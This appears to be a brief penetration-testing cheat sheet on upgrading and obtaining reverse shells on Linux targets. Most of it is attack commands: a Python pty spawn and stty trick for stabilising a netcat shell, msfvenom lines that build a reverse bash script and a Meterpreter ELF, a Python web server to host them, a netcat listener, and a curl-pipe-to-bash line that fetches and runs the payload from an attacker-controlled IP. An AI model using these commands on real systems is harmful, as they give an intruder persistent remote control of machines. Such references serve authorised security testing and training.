Shell Upgrades
Using Python Pty
#In the dumb shell
python -c 'import pty; pty.spawn("/bin/bash")'
# ^Z to stop the netcat session. Then type
stty raw -echo; fgMetasploit (Linux):
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=1234 -f raw > shell.sh
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.binpython3 -m http.server
nc -nlvp 1234curl <ip>:8000/shell.sh | bashLast updated